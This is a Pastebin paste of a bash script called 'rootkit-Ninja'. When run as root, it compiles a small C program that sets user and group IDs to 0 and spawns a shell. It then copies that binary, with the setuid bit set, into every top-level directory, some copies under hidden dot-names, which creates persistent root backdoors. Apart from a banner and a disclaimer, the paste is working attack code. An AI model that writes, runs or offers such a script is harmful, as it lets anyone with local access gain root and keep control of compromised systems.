Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- rampung='\033[0m'
- abang='\033[1;31m'
- ijo='\033[1;32m'
- kuning='\033[1;33m'
- putih='\033[1;37m'
- banner(){
- echo -ne "$putih
- ___ ___ _ _ _ _ _ _ _ _
- / _ \ / _ \| | | | (_) | | \ | (_) (_)
- _ __| | | | | | | |_| | ___| |_ ______| \| |_ _ __ _ __ _
- | '__| | | | | | | __| |/ / | __|______| . \` | | '_ \| |/ _\` |
- | | | |_| | |_| | |_| <| | |_ | |\ | | | | | | (_| |
- |_| \___/ \___/ \__|_|\_\_|\__| |_| \_|_|_| |_| |\__,_|
- _/ |
- |__/
- [+] Author : Bayu Fedra
- [+] Special Thanks : Reversing.ID - IndoXploit - Bashid.org - Backbox Linux Indonesia - Zerobyte.ID $kuning
- [!] Important : Make sure you have permisison to run this program
- [!] legal disclaimer : Usage of rootkit-Ninja without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- $putih
- [+] Follow my Twitter/Instagram @bayufedraa :D
- \n"
- sleep 2
- }
- check_root(){
- uid=$(id -u)
- gid=$(id -g)
- echo "[+] User ID : $uid"
- echo "[+] Group ID : $uid"
- if [[ $uid == 0 ]]
- then
- echo -ne "$ijo[+] You are Root!\n[+] Trying to plan rootkit...\n\n $rampung\n"
- sleep 1
- else
- echo -ne "$abang[+] Not root!\n[+] Must Run as Root! $rampung\n"
- exit
- fi
- }
- binary_rootkit(){
- cat << EOF > /tmp/humarb.c
- #include <stdio.h>
- #include <sys/types.h>
- #include <unistd.h>
- int main(){
- setuid(0);
- setgid(0);
- system("/bin/bash");
- return 0;
- }
- EOF
- gcc /tmp/humarb.c -o /tmp/humarb
- rm /tmp/humarb.c
- }
- share_binroot(){
- root_dir=$(ls /)
- mkdir /.,
- for i in $root_dir
- do
- if [[ -d /$i ]]
- then
- if [[ $i == tmp ]]
- then
- echo -ne "$ijo[+] Share rootkit in Directory : $i $rampung\n"
- cp /tmp/humarb /$i/.humarb
- chmod +s /$i/humarb
- chmod +s /$i/.humarb
- else
- echo -ne "$ijo[+] Share rootkit in Directory : $i $rampung\n"
- cp /tmp/humarb /$i/humarb
- cp /tmp/humarb /$i/.humarb
- chmod +s /$i/humarb
- chmod +s /$i/.humarb
- fi
- fi
- done
- }
- banner
- check_root
- binary_rootkit
- share_binroot
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement